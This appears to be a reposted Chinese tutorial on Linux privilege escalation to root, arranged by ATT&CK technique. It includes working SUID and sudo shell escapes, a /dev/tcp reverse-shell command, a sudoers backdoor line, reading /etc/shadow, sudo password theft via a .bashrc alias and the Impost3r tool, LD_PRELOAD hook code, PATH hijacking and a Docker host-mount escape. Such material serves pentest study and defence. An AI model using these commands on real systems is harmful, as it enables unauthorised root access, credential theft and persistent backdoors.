ATT&CK权限提升-Linux提权总结
介绍
MITRE ATT&CK ®是一个全球可访问的基于真实世界观察的对手战术和技术知识库,本文根据MITRE ATT&CK框架总结了Linux系统下的权限提升技术,并且特指由普通用户提升到root权限的技术。
一、滥用权限控制机制
1.SetUID和 SetGID
①提权原理
SetUID简称SUID,当一个可执行文件被赋予SUID权限,那么用户执行此文件时,会暂时获得文件所有者的身份,一旦文件执行结束,身份的切换也随之消失。
SetGID简称SGID,和SUID类似,当一个可执行文件被赋予SGID权限,那么用户执行此文件时,用户组会暂时获得文件所属组的身份,一旦文件执行结束,身份的切换也随之消失。
如上所述,SUID或SGID本身就是一种暂时提升权限的机制,不恰当得使用会造成安全隐患。对于入侵者来说,只要找到具备SUID或SGID权限的程序,并且能够操控它的执行结果,那么就可以将任意指令提升至root权限。
②提权条件
1.存在具备SUID权限的脆弱二进制文件
③找寻脆弱点
查找具有SUID和SGID的文件:
1.使用ls -l查看具有SUID和SGID权限的文件,SUID对应user权限中的s,SGID对应Group权限中的s:
2.find查找具有SUID和SGID权限的文件:
#查找同时具有SUID和SGID权限的文件:
find / -user root -perm -u+s,g+s -print 2>/dev/null
#查找具有SUID权限或SGID权限的文件:
find / -user root -perm /u+s,g+s -print 2>/dev/null
#查找具有SUID权限的文件:
find / -user root -perm -u+s -print 2>/dev/null
查找具有SGID权限的文件:
find / -user root -perm -g+s -print 2>/dev/null
③可被利用的二进制文件
1.对于常见二进制文件,GTFOBins上面其实已经总结的很全面了https://gtfobins.github.io/#
2.下面举例一个常见的可用于SUID提权的程序,其他的请参考GTFOBins:
find
3.如GTFOBins中展示的,find 可以使用-exec参数来执行命令,所以如果它具备SUID权限那么就可以用来提权:
#测试时先赋予find SUID权限:
chmod u+s /usr/bin/find
#查找/usr/bin下具备SUID权限的文件:
find /usr/bin/ -user root -perm -u+s -print 2>/dev/null
#-exec执行命令,参数需要以;结尾,find每次成功匹配到一个文件,都会执行该命令,使用-quit避免重复执行:
find /root/test -exec whoami \; #多次匹配到文件会多次执行whoami
find . -exec whoami \; -quit
#交互式shell:
find . -exec /bin/sh -p \; -quit
#反弹shell(注意这里一定要用-p,原因在下面解释)
find . -exec /bin/sh -p >& /dev/tcp/ip/port 0>&1 \; -quit
4.提权前:
5.SUID提权,whoami变为root,euid变为root:
6.SGID提权,whoami并没有变为root,但egid用户组变为了root
反弹shell踩坑及解决方法
1.从上面执行的结果可以看到,SUID提权时,只有euid改变,SGID提权时,只有egid和groups改变。
2.linux下用户/用户组有这样几个概念:
实际用户ID(RUID):用于标识一个系统中用户是谁,一般是在登录之后,就被唯一确定的,就是登陆的用户的uid,也是id命令看到的第一个uid。
有效用户ID(EUID):用于系统决定用户对系统资源的权限,SUID提权时改变的其实就是EUID。
真实组ID(RGID):同理,也就是GID。
有效组ID(EGID):同理,SGID提权时改变的就是EGID。
3.如果我们使用常见的bash -i 反弹shell,会出现提权失败的情况:
4.是因为:默认情况下 bash 在执⾏时,如果发现 euid 和 uid 不匹配,会将 euid强制重置为uid
而解决方法是使用-p参数,缺点是没有那么好的交互式,不过也能用:
2.sudo和sudo缓存
这里sudo是指sudoers文件,sodu缓存是指已经配置到sudoers文件中的那些命令。
①提权原理
sudoers文件指/etc/sudoers,它管理着sudo机制。
sudo会暂时以root身份去执行指令,和SUID一样,它本身就是一种暂时提升权限的机制,它要求用户输入当前用户的密码而不需要输入root密码。
和SUID提权的区别在于:它改变的不仅仅是euid,uid、gid、groups都变成了root:
综上所述:sudo本身就是一种暂时提升权限的机制,不恰当得使用会造成安全隐患。只要攻击者有权限修改/etc/sudoers,或sudo缓存中的这些命令可以执行任意指令,那么攻击者就可以将任意指令提升至root权限。
②提权条件
1.已知当前用户密码或sudoer中设置了不使用密码
2.sudo缓存中存在脆弱的二进制文件(就是指那些可sudo的命令)或者对sudoers文件具备写权限(默认没有)
③获取用户密码
我们知道,Linux系统的用户密码保存在/etc/shadow中,但对于普通用户,默认是无法访问/etc/shadow的,那我们要如何获取用户密码呢?
在ATT&CK框架中,有一种技术叫修改Unix shell,其分类在持久性或特权提升–事件触发执行–修改Unix shell。
密码获取条件
1.用户必须在sudoer组。
原理简介
Linux下一切皆文件,当登录Linux时候,为了初始化环境变量等配置,会自动加载执行一些配置文件,其顺序是:
/etc/profile --> (/.bash_profile | ~/.bash_login |/.profile) --> /.bashrc -> /etc/bashrc ,在退出时还会执行/.bash_logout
关于这些文件的说明:(参考自https://wenku.baidu.com/view/463276fa0242a8956bece426.html)
(1)/etc/profile:为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行,并从/etc/profile.d目录的配置文件中搜索shell的设置。
(2)/etc/bashrc:为每个运行的bash shell用户执行此文件,当bash shell被打开时执行。
(3)~/.bash_profile:每个用户都可以使用该文件输入专用于自己使用的Shell信息,当用户登录时,该文件仅仅执行一次,默认情况下,它设置一些环境变量,执行用户的.bashrc文件。
(4)~/.bashrc:该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该文件被执行。
(5)~/.bash_logout:当每次退出系统(退出bash shell)时,执行该文件。
其本身就是为了用户自定义的配置,当前用户对于这几个文件是具有读写权限的:/.bash_profile、/.bashrc、 /.profile、 ~/.bash_login 、/.bash_logout 。所以通常可以利用这点来做持久化,除此之外,还可以在这些配置中加载自己的二进制程序,实现其它功能,比如密码窃取功能。
Impost3r窃取密码
这个工具正是利用上述原理实现了sudo、ssh、su密码窃取功能,使用方法github上已经很详细,下面就简单展示一下效果:
(1)在vps上编译生成.impost3r
(2)使用test用户将.impost3r下载到/tmp目录(存放位置根据配置而定)【这里有个小技巧,通过Scp去下载可以保留程序的可执行权限,wget不行】:
(3)使用test用户备份.bashrc到/tmp目录(根据配置来定),并参照impost3r的使用方法给sudo添加别名:
(4)当正常test用户登录并执行sudo后,会先调用/tmp/.impost3r窃取密码,再转回到原始的sudo上,最后成功窃取到密码并通过dns发送给了我们:
拿到了sudo密码之后,我们再考虑通过sudo提权的事情。
④找寻脆弱点
sudo -l
⑤可被利用的二进制文件
1.关于SUDO提权,GTFOBins上面也总结的很全面了https://gtfobins.github.io/#
2.下面举例几个常见的可用于SUID提权的程序,其他的请参考GTFOBins:
sudo缓存:
sudo -l 查看当前用户可使用的权限
提权姿势:
1. sudo su root #只知道当前用户密码的情况下就可以su为root
2. sudo awk 'BEGIN {system("/bin/sh")}'
3. sudo man man
在man中输入!/bin/sh 或者!/bin/bash 可进入root shell
4. sudo curl file:///etc/shadow 读取密码进行破解
5. sudo curl $URL -o $LFILE #将远程文件覆盖写入到本地,可以用来修改各种配置文件
3.因为前面已经输入过test的密码了,截图的没有要求输入密码:
sudoers:
sudoers的用法:https://blog.51cto.com/zxf261/748756
常被用来作为提权后门,达到远控目的,如Dok木马添加
admin ALL=(ALL) NOPASSWD: ALL
到
/etc/sudoers
文件中,实现admin用户的提权后门。
#查看是否有可写权限(默认没有)
ll /etc/sudoers
2.echo写入
echo "admin ALL=(ALL) ALL" >> /etc/sudoers
3.结合sudo提权写入
sudo curl $URL -o /etc/sudoers #下载远程文件到sudoers,如果curl有sudo权限也可以这样用
二、劫持执行流程
1.动态链接器劫持
①动态链接器简介
动态链接器用于加载动态链接库(*.so),一般情况下,其加载顺序为LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib>/usr/lib,LD_PRELOAD和 LD_LIBRARY_PATH是一个环境变量。在Linux系统中,程序调用系统命令的方式主要有这几种:system、fork、exec加载器,它们对环境变量的继承关系是有区别的。fork从调用该函数的进程复制出子进程,它会继承父进程的环境变量;exec加载器将新程序代码加载(拷贝)到进程的内存空间,替换掉原有的与父进程一模一样的代码和数据,让进程空间运行全新的程序,需要手动将环境变量作为参数传递才能继承;system实际上执行“/bin/sh -c command”,它通过fork和exec来创建子进程。以上详细实验过程可以参考这篇文章https://blog.csdn.net/Onlyone_1314/article/details/118699481。
通过system和fork会继承环境变量,但对于LD_PRELOAD和 LD_LIBRARY_PATH这2个环境变量,当我们使用SUID、SUDO等方式提升权限时,LD_PRELOAD和 LD_LIBRARY_PATH会被忽略,下图展示了直接运行myprog程序我设置的LD_PRELOAD生效,加载了自己的动态链接库,但使用sudo运行时未加载(使用SUID也一样)。
下面做个测试,test.c程序使用fork来创建一个子进程,在父进程和子进程中都会打印出当前的环境变量。
编译并运行test.c:gcc test.c -o test
test.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
void printenv()
{
int i = 0;
while (environ[i] != NULL) {
printf("%s\n", environ[i]);
i++;
}
}
void main()
{
printenv();
printf("\n---------------------------------------------\n");
pid_t childPid;
switch(childPid = fork()) {
case 0: /* child process */
printenv();
exit(0);
//default: /* parent process */
//printenv();
//exit(0);
}
}
当未附加SUID权限时,父子进程都可以打印出LD_PRELOAD环境变量:
当赋予SUID权限后,父子进程都不包含LD_PRELOAD:
所以LD_PRELOAD不能像其他环境变量一样劫持。
②提权原理
动态链接器和环境变量劫持,都只是修改程序的执行流程,所以它本身并不能直接提升权限,需要被劫持程序自身具备高权限(如以root运行,SUID,SUDO),而前面我们分析了,使用SUID和SUDO时LD_PRELOAD环境变量会被忽略,并且普通用户也不能修改root用户的环境变量。目前可利用方式是sudoers文件,sudoer中可以配置env_keep,将环境变量传递给子进程,不过sudoer文件一般用户没有可写权限,所以比较鸡肋,下面就简单演示一下:
③提权条件
(一)用户在sudoer组,并且不知道用户的sudo密码
(二)可修改/etc/sudoers文件(默认没有权限)
③LD_PRELOAD劫持SUDO程序提权过程
1.现在假设我们拿到服务器的test用户shell,通过查看history历史记录发现管理员会经常执行sudo whoami命令,于是想到了劫持whoami命令:
2.在安装了ltrace的系统上跟踪whoami,发现它会调用puts函数:
3.重写puts,编译成动态链接库(*.so),利用LD_PRELOAD劫持动态链接库:
hook.c:
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
int puts(const char *message) {
int (*new_puts)(const char *message);
int result;
new_puts = dlsym(RTLD_NEXT, "puts");
system("id"); //要执行的命令为id
result = new_puts(message);
return result;
}
编译为动态链接库:
gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE
4.通过前面的测试我们已经知道,直接通过sudo command的方式执行命令并不能将LD_PRELOAD环境变量带入,可用的方式是sudo LD_PRELOAD=xxx.so command。现在假设我们还不知道用户test的密码,所以并不能直接sudo执行whoami命令来劫持,我们想要正常的test管理员去执行sudo whoami的时候触发我们的劫持,所以需要将LD_PRELOAD环境变量设置为任何人登录都可以生效,于是参考前面SUDO提权时,修改.bash_profile设置别名来窃取密码的方式,我们也可以在.bash_profile中设置sudo别名=‘sudo LD_RELOAD=xxx.so’,这样正常test用户登录后,就有了这个别名,当他执行sudo时,实际执行的是sudo LD_PRELOAD=xxx.so:
5.正常管理员登录后就有了这个别名:
6.不过限制就来了,使用这种方式执行的时候,会和我们上面测试的结果一样,LD_PRELOAD会被忽略,会提示无权限设置环境变量或者加载失败:
7.解决办法就是修改/etc/sudoers(默认test没有可写权限),增加env_keep=“LD_PRELOAD”,让sudo执行时可以携带LD_PRELOAD环境变量:
8.正常管理员执行sudo whoami,触发了我们的劫持,在这个示例中执行了id命令,当然你也可以直接让它反弹shell:
6.PATH环境变量劫持
根据前面动态链接器劫持章节的介绍,相信你对环境变量劫持已经有所了解,PATH也作为环境变量的一部分,并且根据前面的测试可知:通过fork或者system创建子进程,PATH会被完整地传递。和动态链接库劫持一样,PATH作为环境变量本身也不具备提升权限的机制,需要结合SUID、SUDO等进行提权,不过好在使用SUID和SUDO时候,PATH没有传递限制,比LD_PRELOAD和 LD_LIBRARY_PATH更好利用。
①提权原理
PATH主要用于定义可执行程序的搜索目录,可执行程序包括Linux系统命令和用户的应用程序。例如某个程序调用system(“ps”),那么就会去PATH环境变量中搜索ps,搜索的顺序按照PATH定义的顺序(如/tmp:/usr/local/sbin,则先搜索/tmp目录,如果没有再搜索/usr/local/sbin目录),因此PATH环境变量劫持的原理就是将调用程序的路径添加到PATH环境变量的前面,让它优先搜索加载我们自定义的程序。那环境变量劫持提权的原理就是我们劫持了一个本身就具有SUID权限、root身份运行权限、可SUDO的程序。不过普通用户没法修改root用户身份运行程序的环境变量,SUDO需要知道当前用户密码,所以一般结合SUID进行提权。
②提权条件
(一)找到一个具有SUID权限或SUDO(需要当前用户SUDO密码,有密码了一般也不需要这样提权)的程序。
(二)strace观察程序调用了哪些系统命令/用户程序。
(三)使用环境变量劫持这个程序并运行它。
③PATH环境变量劫持SUID程序提权过程
1.现在有这样一个程序test,用户test需要用它执行ps命令,并且需要SUID权限:
test.c
#include<stdlib.h>
#include <unistd.h>
int main()
{
setuid(0);//run as root
setgid(0);
system("ps");
}
2.编译并且赋予SUID权限:
3.我们拿到一个test用户shell,通过find查找具备SUID权限的程序,发现了它:
find / -user root -perm -u+s -print 2>/dev/null
4.将test下载到本地或在目标安装运行strace,追踪程序,发现程序执行了ps命令:
5.于是我们就可以劫持ps命令进行提权,直接获取到root用户的bash:
#查看当前环境变量
echo $PATH
#将/bin/sh写入到/tmp/ps,并且修改权限:
echo /bin/sh > /tmp/ps
chmod 777 /tmp/ps
#修改环境变量,将/tmp目录放到前面:
export PATH=/tmp:$PATH
#运行test程序,由于它具备SUID权限,所以劫持后成功提权:
./test
6.这里能看到uid、gid都变成了root是因为我们的程序调用了setuid(0)和setgid(0),没有显示euid是因为uid和euid相同的时候它不会显示:
三、有效账户
密码破解
四、提权漏洞
由于咱实在是太菜了,内核原理搞不懂呀,所以就直接搬运一些文章吧。
1.CVE-2022-0847(Linux DirtyPipe内核提权漏洞)
参考:https://blog.csdn.net/WWL0814/article/details/123354623
2.CVE-2022-0185(容器逃逸漏洞)
参考:https://blog.csdn.net/Breeze_CAT/article/details/123007818
3.CVE-2021-4034(Linux Polkit权限提升漏洞)
参考:https://blog.csdn.net/weixin_42618425/article/details/122709479
4.CVE-2021-3493(Linux kernel权限提升漏洞)
参考:https://blog.csdn.net/xiaoxizainiyanli/article/details/115976549
5.CVE-2021-3156(Linux sudo权限提升漏洞)
参考:https://zhuanlan.zhihu.com/p/375577136
6.CVE-2019-13272(Linux ‘PTRACE_TRACEME’提权漏洞)
参考:https://blog.csdn.net/Kris__zhang/article/details/116643422
CVE-2016-5195(脏牛漏洞)
参考:https://blog.csdn.net/arttnba3/article/details/115773316
五、其他
可能看到这里的小伙伴有些疑问,还有一些网上流传的提权方式ATT&CK中并没有提及,比如mysql UDF、redis写计划任务等等,其实是因为这些提权方式要求应用程序本身以root权限运行,换言之只要程序有漏洞或有功能可以让用户执行命令、写入文件等,那么用户也就拥有了root权限,并没有从操作系统普通用户提升到root用户,所以ATT&CK中没有涉及这部分,下面就讲一些ATT&CK中找不到分类的提权方式,看看它究竟是怎么回事。
1.Docker组提权
如上所述,当一个程序以root身份运行,那么程序就拥有了root权限, 如果程序存在漏洞很容易导致攻击者直接获取到操作系统的root权限,因此正确的做法是以最小化权限原则创建普通用户,以普通用户身份运行程序,比如web中间件、服务器、数据库等,都以不同用户身份运行,这样即使这些软件程序存在漏洞,攻击者获取到的也只是普通用户权限,要获取root权限则再通过我们上面总结的这些方法进行提权。
那是不是只要以普通用户身份运行的程序就会更加安全呢?这里就出现了一个意外,Docker组提权。Docker的虚拟机是可以以普通用户身份启动的(docker run),而这个普通用户必须在Docker组里,听起来这样就会比直接以root启动的虚拟机更加安全,但事实上却并非如此。
我们先来做下试验:
1.安装docker,这个自行百度。
2.创建docker组和用户,将用户加入组
adduser dock
usermod -G docker dock
newgrp docker
su dock
3.docker组用户运行一个docker实例:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
4.这样就得到一个shell,这个shell其实是docker虚拟机的shell,这里关键点是我们使用-v参数,将宿主机的根目录挂载到了虚拟机目录,因为linux下一切皆文件,所以现在的虚拟机差不多等同于物理机了,可以看到宿主机上的文件:
5.所以可以得出结论,这个提权的本质是挂载目录这个功能可以让Docker虚拟机拥有宿主机文件的访问权限,不过还是会有一些写入功能会受到限制的:
6.为什么明明是Docker组的用户启动的虚拟机,最后却拥有了root权限,这难道不就是提权吗?其实这并不是正在意义上的从其他操作系统用户权限提升到root权限,因为架构问题,docker服务只能以root身份运行,下面我们测试使用test用户启动docker服务,也会要求输入root密码,ps查看可知它还是以root身份运行的。
7.最后我们在获取到的shell中执行一个test程序来观察,可以发现这个test程序是docker服务的子进程,并且也拥有root权限。所以这其实本身就是一个root权限运行的程序的一个子进程,并不是dock用户权限运行,简而言之docker组并不能提升安全性,所以这大概就是我在ATT&CK中找不到分类的理由吧~
ps aufx
版权归原作者 black guest丶 所有, 如有侵权,请联系我们删除。